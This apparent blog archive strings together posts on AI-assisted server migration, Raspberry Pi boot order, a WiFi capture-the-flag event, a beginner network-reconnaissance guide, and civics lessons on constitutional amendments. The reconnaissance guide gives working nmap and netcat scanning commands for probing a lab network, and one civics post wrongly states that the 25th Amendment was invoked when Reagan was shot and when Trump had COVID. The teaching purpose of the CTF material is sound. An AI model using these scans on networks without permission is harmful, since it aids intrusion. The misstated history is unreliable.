Using custom AI Agents to Migrate Self-Hosted Services Between Servers

Migrations are hard.

I ran into an infrastructure challenge during my IoT development. A Raspberry Pi 5 (kbr server) ran three self-hosted services—Planka (Kanban boards), Ghost (blog), and Homer (dashboard). I needed to migrate them to a more powerful server running AMD Ryzen hardware. This would free my dev box up to experiment with new features in my Kanban/Blog/Reporting (KBR) tool.

The server I want to migrate to is already hosting critical AI services (Ollama, Open WebUI, and n8n). I do not want them disrupted during the migration.

Both systems used Cloudflare Tunnels for secure external access, Docker for containerization. They each had existing Ansible playbooks for deployment and backup. I wanted to:

  • Fully migrate production services from a Pi to the new server
  • Preserve all data (posts, drafts, images, kanban cards, attachments)
  • Keep existing AI services running untouched
  • Convert the old Pi into a development environment
  • Execute a clean DNS cutover with minimal downtime

The big problem is the limitations of my own brain. As I’ve been doing more AI supported development, the pace of my achievements is making it hard for me to maintain awareness of how everything is configured. I built this system months ago. My memory of how to backup and rebuild everything has faded. I had playbooks for building, but migrating existing data to a new deployment is a different beast.

Discovery Phase: Understanding Both Systems

I needed to deeply understand both systems to build a migration plan. I overcame my gaps in memory about how everything works by creating & using automated exploration agents to gather comprehensive information about each system’s architecture and deployed software.

For this project, the general design of my agents included:

  • an objective,
  • 7 phases of migration activities
  • Clear expressions around safety & best practices & defined success conditions.

My Agents have the following set of objectives:

You are a system analysis agent. Your task is to:
1. Review historical knowledge from previous agents
2. Analyze the project codebase to understand the intended system architecture
3. Connect to the running deployment and gather actual system state
4. Compare expected vs actual state
5. Produce a structured summary for troubleshooting purposes
6. Update knowledge repositories with discoveries
7. Create an Operations.md file in the Operations directory of the project if it doesn't exist.  

At a top level, the phases include:

Phase 0: Knowledge Base Review
Phase 1: Repository Structure Analysis
Phase 3: Live System Discovery
Phase 4: Analysis & Comparison
Phase 5: Context Documentation & Knowledge Updates
Phase 6: Operations Documentation
Phase 7: Final Deliverable

The general gist of the above is:

Search from a knowledge base of previous agent troubleshooting sessions that captured problems that were discovered & corrected. I do this because it reduces any need for redundant troubleshooting activities by the agents across different sessions. This also helps manage my token budget for the work.

Next, the agent looks into the code that generates the project to understand what’s supposed to be on the target system.

Then the agent looks into a live system to understand what’s actually on the systems (either due to configuration drift or some other change).

When that’s complete, we go munge everything we have into an operations document. This becomes my operations report.

Source System (kbr server) Discovery

The exploration agent showed:

  • 6 containerized services: Planka, Ghost, Homer, PostgreSQL, MySQL, and Nginx
  • 7 Docker volumes requiring backup (database data, attachments, content, avatars, etc.)
  • Cloudflare tunnel routing traffic for kanban.url, blog.url, and reports.url
  • Existing Ansible playbooks for backup and restore operations
  • Well-documented architecture in markdown files

Target System (ai server) Discovery

The agent found that the server I want to migrate to had:

  • Existing protected services: Ollama (LLM inference), Open WebUI (chat interface), n8n (workflow automation)
  • A Reserved ports list
  • A Storage constraint: /home partition at 75% capacity—I had to put new services in /opt/
  • Available resources: 650GB disk space in /opt/, 25GB+ RAM available
  • Active Cloudflare tunnel for my AI endpoint that I had to keep untouched

Validating Backup Procedures

I validated that the deployed backup scripts followed official documentation. I’ve found that the agents sometimes try to invent their own backup strategies. They can work, but they also break future updates. Next I fetched the official backup guides for both Ghost and Planka, then had the agent compare them against the existing backup_kbr.sh script.

The existing backup script matched all requirements and exceeded them with additional safeguards like SHA256 checksums and comprehensive manifests.

Planning Phase: Building a 10-Phase Migration Plan

I built a comprehensive migration plan through iterative review with the agent. I discussed, refined, and enhanced each phase based on operational concerns.

The 10 Phases

PhasePurpose
1. Pre-Migration PreparationVerify prerequisites, create rollback points
2. Data Quality AssessmentGenerate backup, verify integrity, record baseline counts
3. Prepare ai serverCreate directory structure, Docker Compose stack
4. Data Transferrsync backup to target, restore databases and volumes
5. Testing (QA/QC)Local testing, data verification, create Ghost API key
6. Staging DNSAdd temporary *bak DNS names to ai server tunnel
7. Staging ValidationExternal testing, write tests, Go/No-Go checkpoint
8. Reconfigure kbr serverConvert to dev environment with *-dev DNS names
9. DNS CutoverSwitch production names to ai server
10. CleanupRemove staging DNS, update Homer links, set up monitoring

Key Planning Decisions

DNS Strategy: I implemented a staged approach:

  • Current: Production names on kbr server
  • Staging: Temporary *bak names on ai server for testing
  • Final: Production names transferred to ai server
  • Dev: New *-dev names on kbr server for experimentation

Port Allocation: The agent selected ports that don’t conflict with existing services.

Storage Location: The agent put all migration files in /opt/kbr-migration/ to avoid the space-constrained /home partition.

Enhancements I Added During Review

Through iterative discussion, I enhanced the plan with:

  • Health check loops instead of arbitrary sleep commands for database readiness
  • rsync with progress instead of scp for large file transfers
  • Baseline counts table to verify I lost nothing (posts, drafts, images, cards, attachments)
  • Write tests to verify full functionality (create test post, create test card)
  • Go/No-Go checkpoints before major transitions
  • Rollback procedures with automatic restoration on failure
  • Ghost Content API key creation for the reporting dashboard
  • Homer URL updates since the migrated config still pointed to old URLs

Executing the Plan

Prerequisites

Before I started execution:

  • Obtain a Cloudflare API token with DNS edit permissions for the domain
  • Verify SSH access to both servers
  • Confirm Docker runs on both systems
  • Check available disk space in /opt/ on ai server

Execution Flow

Phases 1-2: Safe, Read-Only Operations

These phases don’t modify any running services. They create backups, verify data integrity, and establish baseline measurements. If anything looks wrong, I stop here—no harm done.

# Run the backup
cd /home/Development/Playbooks/SelfHosted_K_B_R
ansible-playbook -i inventory backup.yml

# Record baseline counts for later comparison
ssh account@kbr.server
docker exec ghost-db mysql -u ghost -p... ghost \
  -e "SELECT status, COUNT(*) FROM posts GROUP BY status;"

Phases 3-5: Target System Setup

I create the Docker infrastructure on ai server and restore the backup. I test locally before any DNS changes.

# Create directory structure
sudo mkdir -p /opt/kbr-migration
sudo chown account:account /opt/kbr-migration

# Transfer and extract backup
rsync -avh --progress backups/*.tar.gz account@ai.server:/opt/kbr-migration/

# Start databases with health checks
docker-compose up -d planka-db ghost-db
until docker exec kbr-planka-db pg_isready -U planka; do sleep 2; done

# Restore data
zcat databases/planka_db.sql.gz | docker exec -i kbr-planka-db psql -U planka -d planka

Phases 6-7: Staging Validation

I add temporary DNS names and test externally. This is the last safe checkpoint—production still runs on kbr server.

The Go/No-Go checkpoint requires all tests to pass:

  • All staging URLs accessible
  • Images and drafts verified
  • Test post/card creation works
  • Existing ai domain endpoint still functional
  • Baseline counts match

Phases 8-9: The Cutover

This is where production switches. A brief window of unavailability exists between reconfiguring kbr system and completing the DNS cutover on the ai server.

# On kbr server: Switch to dev names
# On ai server: Add production names to tunnel
cloudflared tunnel route dns <tunnel-id> kanban.myurl.io
cloudflared tunnel route dns <tunnel-id> blog.myurl.io
cloudflared tunnel route dns <tunnel-id> reports.myurl.io

Phase 10: Cleanup

I remove temporary staging DNS entries, update Homer dashboard links to point to production URLs, and set up automated backups and health monitoring.

Rollback Capabilities

The plan includes rollback procedures at multiple points:

  • Before Phase 8: Simply remove staging DNS from ai server; kbr server remains production
  • After Phase 9: Re-route production DNS back to kbr server, restore its original tunnel config

I backed up all cloudflared configs before modification, enabling quick restoration if needed.

Lessons Learned

What Made This Migration Plannable

  • Existing documentation: Both systems had Operations directories with current state information
  • Ansible playbooks: Existing backup/restore automation provided a foundation
  • Docker containerization: Clean separation of services made migration straightforward
  • Cloudflare Tunnels: DNS changes don’t require firewall modifications

Prompt Engineering Insights

The planning session revealed that infrastructure migration requests benefit from explicit upfront information:

  • Migration type (full migration vs. backup copy)
  • Post-migration role for source system
  • DNS naming constraints (Cloudflare doesn’t allow underscores)
  • Storage preferences on target system
  • Links to official backup documentation
  • Specific data verification requirements
  • Service dependencies (API keys, credentials)
  • Rollback expectations

A structured prompt template capturing these elements can reduce planning clarification cycles significantly.

Conclusion

Migrating self-hosted services between servers doesn’t have to be scary. I used agents to perform discovery through a phased approach that included staged DNS testing, and clear rollback procedures to execute this complex migration.

The key principles:

  • Discover before planning: Understand the source and migration destination systems deeply
  • Validate backup procedures: Ensure they match official documentation
  • Stage before cutting over: Test with temporary DNS names first
  • Build in checkpoints: Go/No-Go decisions prevent premature transitions
  • Plan for rollback: Every change should be reversible
  • Verify with baseline counts: compare before and after

THE BOOT ORDER OF THE RASPBERRY PI IS UNUSUAL!

I discovered that the Raspberry Pi doesn’t boot the same way traditional PC’s do. This was interesting and I thought I’d share.

At a high level, Raspberry Pi booting is firmware-driven, not BIOS-driven like a PC. On Raspberry Pi, the GPU (VideoCore) is powered first and is the root of trust for booting. The ARM CPU is not the initial execution environment. This is a deliberate architectural choice dating back to the original Pi.

Boot sequence (simplified):

1. Power applied

  • Power management IC brings up rails\
  • VideoCore GPU comes up first
  • ARM CPU is held in reset

2. VideoCore ROM Executes (GPU Side)

  • Immutable GPU boot ROM runs
  • This code:
    • Initializes minimal SDRAM
    • Reads boot configuration
    • Locates next-stage bootloader

The ARM cores are still powered down.

3. GPU Loads Firmware

  • GPU reads EEPROM bootloader
  • EEPROM bootloader then loads firmware from SD / USB / Network

The loaded firmware files are GPU Binaries- not ARM code!

  • start*.elf
  • fixup*.dat

4. GPU Configures the System

The GPU:

  • Parses config.txt
  • Applies device tree overlays
  • Allocates memory split (GPU vs ARM)
  • Initializes clocks and peripherals
  • Loads the ARM kernel image into RAM

At this point, the system hardware layout is defined by the GPU, not the CPU.

5. GPU Releases the ARM CPU from Reset

Only after:

  • Firmware is loaded
  • Memory is mapped
  • Kernel is staged

…does the GPU release the ARM core(s) and set their entry point.

This is when the CPU first executes instructions.

6. ARM CPU Starts Linux

  • CPU jumps directly into:
    • kernel7.img / kernel8.img
  • Linux takes over
  • GPU becomes a peripheral (mailbox, display, VPU, etc.)

This explains several Raspberry Pi oddities:

  • The Raspberry Pi has No BIOS / UEFI
  • The config.txt is not a Linux File
  • Kernel Replacement Is Trivial
  • Boot failures before Linux is loaded are invisible to Linux

Even with the EEPROM bootloader:

  • The GPU still executes first
  • The EEPROM code is executed by the GPU
  • ARM remains gated until kernel handoff

EEPROM just replaces bootcode.bin; it does not change authority.

The trust chain for the pi is:

GPU ROM → GPU firmware → ARM kernel → Linux userspace

The trust chain choices have consequences!

  • ARM cannot verify GPU firmware
  • Secure boot (where enabled) is GPU-anchored
  • This is why Raspberry Pi secure boot is not comparable to PC Secure Boot

The Raspberry Pi Secure boot implementation ensures that:

  • Only cryptographically signed boot firmware and kernel images are executed
  • The chain of trust starts in the VideoCore GPU, not the ARM CPU
  • The system can be locked to a specific vendor or deployment

It does not:

  • Provide a hardware-enforced user/kernel trust boundary
  • Protect against a malicious or compromised GPU firmware
  • Provide measured boot or TPM-style attestation
  • Prevent runtime compromise of Linux

Here’s the order of operations for boot up on a traditional PC:

Traditional PC Boot:

  ┌─────────────┐
  │    BIOS     │
  │   (CPU)     │
  └──────┬──────┘
         ↓
  ┌─────────────┐
  │  Bootloader │
  │   (CPU)     │
  └──────┬──────┘
         ↓
  ┌─────────────┐
  │   Kernel    │
  │   (CPU)     │
  └─────────────┘

The firmware embedded in the motherboard powers up the CPU. The CPU loads the bootloader. The bootloader hopefully correctly does cryptographic operations to load an unmodified kernel. From here, the boot process continues with init/systemd and our services are brought online for a running system.

The pi’s totally different. Instead of starting with the CPU, we start with the GPU.

Raspberry Pi Boot:

┌─────────────┐
│  VideoCore  │ ← GPU boots FIRST
│    (GPU)    │
└──────┬──────┘
       ↓
┌─────────────┐
│ Loads ARM   │
│   kernel    │
└──────┬──────┘
       ↓
┌─────────────┐
│  ARM CPU    │ ← CPU starts LAST
│   wakes up  │
└─────────────┘

Why? The Raspberry Pi uses Broadcom BCM2xxx chips where The “main” processor is a VideoCore IV/VI GPU is activated at power-on. It runs proprietary firmware that handles the boot. The BCM2xxx chips are typically used in set-top boxes for video streaming/entertainment. For these types of devices, the goal is to quickly get to a flashy user interface. The Raspberry Pi Foundation chose these inexpensive chips as their base that leave them with an odd boot order.

Raspberry Pi WiFi CTF Lab Experiment Results

This past Saturday, I hosted a Wifi CTF at Big Block Brewery in Carnation WA. This was my first experiment where I could gather information about how other folks perceive my CTF. A big challenge for me is discovering what’s discoverable to participants. Running this lab would help me learn if this project is viable. The big questions are:

  1. Will the lab work- are the vulnerabilities & scoring system reliable?
  2. Will participants be able to figure out the IP network of the wifi network and discover targets for exploitation?
  3. What kind of after-action reporting can I generate?

Did the lab work?

Yes! I arrived at about 12:20pm and had the lab up and running by about 12:55. I had a small bobble- when I arrived, it looked like I may have brought the wrong pi for the CTF: the hostname on the access point reverted back to “ansibledest.local” and only had 8 commands in it’s history. But it turned out that there was just a hostname bug in the latest build. LED animations fired up when I powered on which meant it had to have my Vulnerable AP code on there.

6 people signed up for the lab in advance of the event. 5 showed up and we ended up having 2 additional pub patrons join. I left the lab up till roughly 5pm. Here are some basic statistics from the ctf admin’s ui:

Were participants able to figure out the IP addressing?

This was a little unclear to me.

The group was able to score- so they obviously found and exploited things, but I did talk folks through the idea of a “Default Gateway” and how to look on their devices to figure out their own system’s IP and the target system. Did I taint the data? I’m not sure. I suspect a couple folks port scanned & targeted their own laptops during a network scan. I’m concerned that my presence may have been a necessary to give folks a pointer on what to explore.

What kind of after-action reporting can I generate?

I pulled logs off the vulnerable access point and did some rough analysis. Logs included the raw webserver logs as well as the database I use to track scoring & exploit attempts.

Over the course of the event, there were 7 participants with 466 exploit attempts and 28 solves. 10 out of the 23 challenges were solved by the participants. One participant- Sl0hth2 successfully achieved remote root on the access point. Sl0hth2 also was the first to successfully score in several CTF challenges, which gave him scoring bonuses. A general question would be- how many clients did we see attach/reattach? Here are some DHCP metrics:

DHCP Lease attempts

204 of 280 DHCP entries (73%) are from a test device that periodically attached and detached from the network, which gave participants an opportunity to sniff & crack a 4 way handshake. The participant per-registration dhcp traffic was only ~76 events.

Scoring Milestones

I ran a report of the First-blood modifier bonuses- which helps you get a feel for who got most “first strike” points as well as an intuition into what classes of challenges people scored on.

First Blood Scoring Modifications

Now we’re ready to look into what the attack traffic was during the event. The largest volume of attack traffic was SQL injection. There is a login page and a user database query page that can be targeted for exploitation. I’ve put some effort into designing the database to be resilient to data destruction attacks- so it’s utility for “gaining root” on the device is limited. For many people, SQL injection is the ‘hello world’ of security exploitation- so I have some challenges that can be used for scoring.

SQL Injection Attacks

Next was command injection. The solution has a web page that vends access to the ping utility. Command injection can be used to run arbitrary commands on the device- and it presents an entrypoint for doing some enumeration of the host system’s configuration and getting some remote command access.

The next most popular attack was XSS. Again- low utility for remote compromise, but a good way to grab some points.

XSS Attacks

Next we have some file-based attacks. Here we’re starting to see evidence that participants were able to modify the file system and get it to execute attacker-controlled/created code:

File-based attacks

Finally we have some information disclosure attacks. We get evidence that participants were able to navigate to and interrogate some high value exploitation assets on the system:

So in summary, we had 154 attack attempts. Most of the focus was on Command Injection, SQL injection & XSS. Given the scoring distribution, it’s not surprising how few folks

Information Disclosure attacks

Next Steps

I’ll be sending a note out to the participants giving folks their own scoring data if I have it.

I have a few bugs logged at https://github.com/CaptainMcCrank/wifi-ctf-bugs that I’ll increment.

I had a few more feature ideas: The web app needs to present signals of successful exploitation to the participants. I’ve put more effort into the LED- which draws walk-ons but gets little inspection by participants.

There are some edits to the documentation that need to be pursued.

I hope to have a new build ready for some testing by the end of this week. I’m looking for another location to run a beta test. If you want to partner, please reach out. You can connect with me on linked in: https://www.linkedin.com/in/patrickmccanna/

You Cracked the WiFi Password – Now What?

A beginner’s guide to network reconnaissance after gaining WiFi access to the ctf-lab wifi network!


Engage: Celebrate Your First Win

You did it. You captured that WPA2 handshake, ran it through your wordlist, and now you’re connected to the target network. Maybe you brute forced the password. Maybe you social engineered it! That rush you’re feeling? That’s the satisfaction of your first real hack.

But here’s the thing: cracking the WiFi password was just picking the lock on the front door. You’re standing in the lobby now. The real exploration begins here.

So what’s next?


Explore: Understanding Your Position

Before you start poking around, you need to understand where you are on this network. Your device just received some critical information when it connected.

Find Your IP Address

Your IP address is your identity on this network. Find it:

  • iPhone/iPad: Settings → Wi-Fi → tap the network name → look for “IP Address”
  • Android: Settings → Network & Internet → Wi-Fi → tap the gear icon → IP address
  • Mac: System Preferences → Network → Wi-Fi → look for IP Address
  • Windows: Open Command Prompt, type ipconfig
  • Linux: Open terminal, type ip addr or hostname -I

You’ll see something like 192.168.4.47. Write this down.

Find the Default Gateway

The default gateway is even more interesting. This is the network’s router – the device that controls traffic flow and often hosts services. It’s typically the first target worth investigating.

Find it in the same location as your IP address. On this network, it’s likely 192.168.4.1.

Why does this matter? The gateway is almost always running something. Web interfaces. Admin panels. Sometimes vulnerable services that were never meant to be exposed.


Explain: What Can You Do With This Information?

You now know two things:

  1. Your address on the network (your IP)
  2. The “center” of the network (the gateway)

But networks aren’t just two devices. There could be servers, other users, printers, IoT devices, cameras – all potential targets. How do you find them?

Network scanning.

A network scanner sends packets to IP addresses and ports, listening for responses. When something responds, you’ve discovered a live host. When you probe its ports, you discover what services it’s running.

Think of it like this: your IP tells you what apartment building you’re in. Scanning tells you which apartments have their lights on and what’s happening inside.

The Scan Strategy

  1. Host discovery – Find all live devices on the network (typically 192.168.4.1-254)
  2. Port scanning – For each live host, discover which ports are open
  3. Service identification – Determine what’s running on those ports

Common ports to watch for:

  • 22 – SSH (remote shell access)
  • 80/443 – Web servers
  • 21 – FTP (file transfer)
  • 3306 – MySQL database
  • 5000-5002 – Often custom web applications

Elaborate: Tools for Network Discovery

Mobile Apps (Great for Learning)

iOS:

  • Fing – Excellent free network scanner, shows all devices and open ports
  • iNet – Network scanner with port detection
  • Network Analyzer – Comprehensive tool with ping, traceroute, and port scanning

Android:

  • Fing – Same great tool, available on Android
  • Net Analyzer – Free network discovery and diagnostics
  • PortDroid – Dedicated port scanner

Command Line (More Powerful)

Nmap is the gold standard. Install it on any laptop:

# Discover all hosts on the network
nmap -sn 192.168.4.0/24

# Scan common ports on the gateway
nmap 192.168.4.1

# Aggressive scan with service detection
nmap -sV -sC 192.168.4.1

Netcat for quick port checks:

nc -zv 192.168.4.1 80
nc -zv 192.168.4.1 22

Evaluate: Your Reconnaissance Checklist

Before moving to exploitation, confirm you’ve gathered:

  • [ ] Your assigned IP address
  • [ ] The default gateway IP
  • [ ] List of all live hosts on the network
  • [ ] Open ports on each discovered host
  • [ ] Services identified on interesting ports
  • [ ] Any web interfaces found (try opening IPs in your browser!)

Pro tip: Open your browser and navigate directly to the gateway IP. Then try adding port numbers: http://192.168.4.1:5000http://192.168.4.1:5002. Web applications often hide on non-standard ports.


What’s Next?

You’ve mapped the terrain. You know what’s out there. Now the real challenges begin:

  • Can you find hidden web pages?
  • Are there login forms you can test?
  • What happens if you try default credentials?
  • Are there services running that shouldn’t be exposed?

Every open port is a potential entry point. Every web form is a potential vulnerability.

Your reconnaissance is complete. Time to start probing.


Remember: Only practice these techniques on networks you own or have explicit permission to test. Happy hacking.

WiFi Security Puzzle + Free CTF Tomorrow!

Ever noticed that on some WiFi networks, you can scan and see every connected device. On others, you can only see the access point.

Why the difference? It’s because of a wifi feature called Client Isolation (aka AP Isolation).

When Client Isolation is enabled, WiFi clients are prevented from talking directly to each other. Every packet must go through the gateway first. It’s like putting each guest in their own private hallway to the router.

Security benefits of Client Isolation include:

  • Client Isolation stops attackers from scanning other devices on the network
  • C.I. prevents lateral movement between WiFi clients
  • C.I. Blocks ARP spoofing and MITM attacks at Layer 2

    Coffee shops and hotels should enable Client Isolation. Many don’t. 👀

    Why this matters for my CTF:
    When you join a hacking competition, everyone’s running offensive tools—port scanners, exploit frameworks, packet sniffers. Without client isolation, participants could accidentally (or intentionally) target each other instead of the challenge.

    My WiFi CTF enables client isolation so participants can focus on hacking the intended target, not each other’s laptops. You can run Nmap all day and you’ll only see the CTF server, not your neighbor’s MacBook.

    Want to learn more hands-on?

    Join me tomorrow (Saturday) for a free WiFi CTF at Big Block Brewery in Carnation, WA from 1-4 PM. We’ll explore WiFi security, network reconnaissance, and capture-the-flag challenges on a purpose-built vulnerable network—safely isolated from each other.

🍺 Location: https://www.bigblockbrewery.com/carnation-taproom
📝 Sign up: https://wifictf.patrickmccanna.net

Bring a laptop. Grab a beer. Hack some things (legally and safely).

#cybersecurity #wifi #ctf #infosec #networking #seattle

Day 28: Major Amendments After the Bill of Rights

Engage: The Constitution’s Second Founding

The Constitution was signed in 1787. But in many ways, the Constitution we live under today was created in the 1860s.

The 13th, 14th, and 15th Amendments—the Reconstruction Amendments—fundamentally transformed America’s constitutional order. They ended slavery, redefined citizenship, required equal protection, and prohibited racial discrimination in voting. Together, they constituted a second founding, correcting the original Constitution’s greatest failure.

Beyond these three, seventeen more amendments have shaped American government and society. Some expanded democracy. Some limited government. One prohibited alcohol; another repealed that prohibition. Each tells a story about America’s ongoing struggle to form “a more perfect union.”

Explore: The Reconstruction Amendments (13-15)

Thirteenth Amendment (1865): “Neither slavery nor involuntary servitude, except as a punishment for crime whereof the party shall have been duly convicted, shall exist within the United States, or any place subject to their jurisdiction.”

  • Abolished slavery and involuntary servitude
  • Passed after Civil War while Southern states couldn’t object
  • Note the exception: prisoners can still be forced to work
  • Required for Southern states’ readmission to Union

Fourteenth Amendment (1868): The longest and most litigated amendment, containing multiple clauses:

Citizenship Clause: “All persons born or naturalized in the United States, and subject to the jurisdiction thereof, are citizens of the United States and of the State wherein they reside.”

  • Overruled Dred Scott v. Sandford (which said African Americans couldn’t be citizens)
  • Established birthright citizenship

Privileges or Immunities Clause: “No State shall make or enforce any law which shall abridge the privileges or immunities of citizens of the United States”

  • Largely gutted by Slaughterhouse Cases (1873)
  • Could have protected civil rights; courts chose not to use it that way

Due Process Clause: “nor shall any State deprive any person of life, liberty, or property, without due process of law”

  • Applied Bill of Rights to states (“incorporation”)
  • Source of “substantive due process” protecting unenumerated rights
  • Most important clause in modern constitutional law

Equal Protection Clause: “nor deny to any person within its jurisdiction the equal protection of the laws”

  • Prohibits state discrimination
  • Used to end segregation (Brown v. Board)
  • Extends to sex, national origin, other classifications

Fifteenth Amendment (1870): “The right of citizens of the United States to vote shall not be denied or abridged by the United States or by any State on account of race, color, or previous condition of servitude.”

  • Prohibited racial discrimination in voting
  • States evaded through literacy tests, poll taxes, grandfather clauses, violence
  • Not effectively enforced until Voting Rights Act of 1965

Explain: Progressive Era Reforms (16-19)

Sixteenth Amendment (1913): Authorized federal income tax

  • Overruled Pollock v. Farmers’ Loan & Trust Co. (1895)
  • Fundamentally changed federal power—government no longer dependent on tariffs and excise taxes
  • Enabled modern welfare state and massive federal government

Seventeenth Amendment (1913): Direct election of senators

  • Previously chosen by state legislatures
  • Responded to corruption, deadlocks, and democratic pressure
  • Reduced states’ role in federal government
  • Made Senate more responsive to popular opinion (for better or worse)

Eighteenth Amendment (1919): Prohibited alcohol

  • Only amendment later fully repealed
  • Led to organized crime, speakeasies, and widespread disrespect for law
  • Lesson: can’t legislate morality through Constitution

Nineteenth Amendment (1920): Women’s suffrage

  • “The right of citizens of the United States to vote shall not be denied or abridged by the United States or by any State on account of sex”
  • Culmination of decades of activism
  • Doubled the electorate overnight
  • Some states allowed women to vote earlier; others resisted after

Elaborate: Modern Amendments (20-27)

Twentieth Amendment (1933): “Lame Duck Amendment”

  • Moved presidential inauguration from March to January
  • Shortened time outgoing officials serve after losing election
  • Responded to long gap during Great Depression

Twenty-First Amendment (1933): Repealed Prohibition

  • Only amendment to repeal another amendment
  • Only amendment ratified by state conventions (not legislatures)
  • Demonstrated that constitutional mistakes can be corrected

Twenty-Second Amendment (1951): Presidential term limits

  • Limited presidents to two terms (or 10 years total)
  • Response to FDR’s four terms
  • Prevents accumulation of excessive executive power
  • But removes experienced leaders and makes presidents “lame ducks”

Twenty-Third Amendment (1961): DC electoral votes

  • Gave Washington, DC electoral votes for president (currently 3)
  • DC still lacks full congressional representation
  • Attempt to give DC statehood has repeatedly failed

Twenty-Fourth Amendment (1964): Banned poll taxes

  • States charged fees to vote, preventing poor people (especially Black citizens) from voting
  • Part of broader civil rights movement

Twenty-Fifth Amendment (1967): Presidential succession and disability

  • Clarified what happens if president becomes incapacitated
  • Created procedures for temporary transfer of power
  • Established process for filling vice-presidential vacancies
  • Invoked when Reagan was shot, when Bush had colonoscopy, when Trump had COVID

Twenty-Sixth Amendment (1971): Voting age lowered to 18

  • “Old enough to fight, old enough to vote”
  • Response to Vietnam War draft
  • Fastest ratification: 100 days

Twenty-Seventh Amendment (1992): Congressional pay raises

  • Pay raises can’t take effect until after next election
  • Originally proposed by James Madison in 1789!
  • Ratified 202 years later after student’s paper arguing it was still viable
  • Shows amendment process never truly “expires”

Evaluate: Themes and Patterns

Looking at all 27 amendments, several patterns emerge:

Expanding Democracy:

  • 15th, 19th, 24th, 26th: Expanded who can vote
  • 17th: Made Senate elected by people
  • 23rd: Gave DC electoral votes

Limiting Government:

  • 1st-10th: Bill of Rights
  • 13th, 14th: Limited state power over individuals
  • 16th: Enabled more government (income tax)

Fixing Structural Problems:

  • 11th: Sovereign immunity for states
  • 12th: Electoral College procedures
  • 20th: Lame duck period
  • 22nd: Presidential term limits
  • 25th: Presidential succession

Correcting Mistakes:

  • 21st: Repealed 18th (Prohibition)

Protecting Civil Rights:

  • 13th, 14th, 15th: Reconstruction Amendments
  • 19th, 24th, 26th: Voting rights

The Lesson:
The Constitution can change. It has changed. But change requires overwhelming consensus across decades. The amendment process filters out temporary passions while allowing genuine, lasting reforms.

No amendments have passed since 1992. Does this mean the Constitution is complete? Or that we’re stuck with an 18th-century framework unable to address 21st-century problems? That debate continues.

Key Vocabulary

  • Reconstruction Amendments: 13th, 14th, 15th—passed after Civil War
  • Incorporation: Application of Bill of Rights to states via 14th Amendment
  • Equal Protection: Guarantee that government won’t discriminate (14th Amendment)
  • Due Process: Government must follow fair procedures (5th and 14th Amendments)
  • Suffrage: Right to vote

Think About It

If you could add one amendment to the Constitution today, what would it be? Why do you think it would receive the necessary 2/3 and 3/4 support? What opposition would it face?

Additional Resources

Primary Source: Read all 27 Amendments:
https://www.archives.gov/founding-docs/amendments-11-27

Notice how different they are in purpose, length, and scope. The 14th Amendment alone has generated more litigation than most of the original Constitution.

For the Reconstruction Amendments’ history and meaning, read the National Archives educational materials:
https://www.archives.gov/milestone-documents

For the 14th Amendment’s transformative effect, read Brown v. Board of Education (1954):
https://www.archives.gov/milestone-documents/brown-v-board-of-education

This decision used the Equal Protection Clause to end legal segregation, demonstrating how amendments can fundamentally reshape American society—sometimes decades or centuries after ratification.


This concludes Week 4 and our study of the Constitution itself. Next week, we’ll begin exploring the three branches in detail, starting with Congress—how it actually functions, how laws are made, and how representatives balance competing pressures.

Day 27: The Amendment Process – How to Change the Constitution

Engage: Designed to Be Difficult

The Constitution has been amended only 27 times in 235+ years. Thousands of amendments have been proposed; only a tiny fraction succeeded. By comparison, state constitutions are amended constantly—some have hundreds of amendments.

This wasn’t an accident. The framers made the amendment process difficult on purpose. They wanted the Constitution to be stable, not subject to every passing passion. But they also wanted it changeable—unlike the Articles of Confederation, which required unanimous consent and proved impossible to amend.

Article V creates a process that’s demanding but not impossible—threading the needle between flexibility and stability.

Explore: Two Steps, Multiple Paths

Article V requires two steps: Proposal and Ratification. Each step has two possible paths:

Step 1 – Proposal (two methods):

  1. Congressional Proposal: 2/3 vote in both House and Senate
  • Used for all 27 existing amendments
  • Congress proposes, doesn’t ratify
  1. Constitutional Convention: Called by Congress when 2/3 of state legislatures request it
  • Never used
  • Many states have applied; never reached 2/3 threshold
  • Raises questions: What would convention’s scope be? Could it rewrite the entire Constitution?

Step 2 – Ratification (two methods):

  1. State Legislatures: 3/4 of state legislatures must approve
  • Used for 26 of 27 amendments
  • Currently means 38 of 50 states
  1. State Conventions: 3/4 of special state conventions must approve
  • Used only for 21st Amendment (repealing Prohibition)
  • Bypasses state legislatures when they might oppose popular sentiment

Important: The President has no role in amendments. This is purely a congressional and state process.

Explain: Why So Difficult?

The framers studied failed republics. They saw two dangers:

Too Easy to Amend: Constitution becomes unstable, subject to temporary passions, manipulated by factions, loses authority.

Too Hard to Amend: Constitution becomes obsolete, can’t adapt to changing circumstances, eventually collapses or is overthrown.

The Articles of Confederation required unanimous state consent for amendments. Result: couldn’t be amended at all. When change was needed, the entire system was replaced.

The Constitution requires substantial supermajorities (2/3 and 3/4) but not unanimity. This ensures amendments have broad, lasting support across different regions and political divisions.

James Madison in Federalist No. 43 explained: The process “guards equally against that extreme facility, which would render the Constitution too mutable; and that extreme difficulty, which might perpetuate its discovered faults.”

Elaborate: The Amendments That Succeeded

The Bill of Rights (1-10, 1791):
Proposed by the First Congress to fulfill ratification promises. All ten were proposed and ratified together.

Post-Civil War Amendments (13-15, 1865-1870):

  • 13th: Abolished slavery
  • 14th: Citizenship, equal protection, due process
  • 15th: Voting rights regardless of race
    Required as part of Southern states’ re-admission to Union after Civil War.

Progressive Era Amendments (16-19, 1909-1920):

  • 16th: Federal income tax
  • 17th: Direct election of senators (previously chosen by state legislatures)
  • 18th: Prohibition of alcohol
  • 19th: Women’s suffrage
    Era of reform; amendments reflected changing social values.

Modern Amendments (20-27, 1933-1992):

  • 20th: Changed presidential inauguration date
  • 21st: Repealed Prohibition (only amendment to repeal another)
  • 22nd: Presidential term limits (response to FDR’s four terms)
  • 23rd: DC electoral votes
  • 24th: Banned poll taxes
  • 25th: Presidential succession procedures
  • 26th: Voting age lowered to 18 (response to Vietnam draft)
  • 27th: Congressional pay raises (proposed 1789, ratified 1992!)

Evaluate: Amendments That Failed

Thousands of amendments have been proposed. Most die in committee. Some came close:

Equal Rights Amendment (1972):
“Equality of rights under the law shall not be denied or abridged by the United States or by any State on account of sex.”

Passed Congress easily. Ratified by 35 states—just 3 short of the 38 needed. Deadline expired in 1982. Some states ratified afterward, leading to ongoing legal debate about whether it’s still viable.

Balanced Budget Amendment:
Would require federal government to balance its budget except in emergencies. Proposed multiple times; never passed Congress.

District of Columbia Voting Rights Amendment (1978):
Would give DC full congressional representation. Passed Congress; only 16 states ratified. Expired in 1985.

Flag Desecration Amendment:
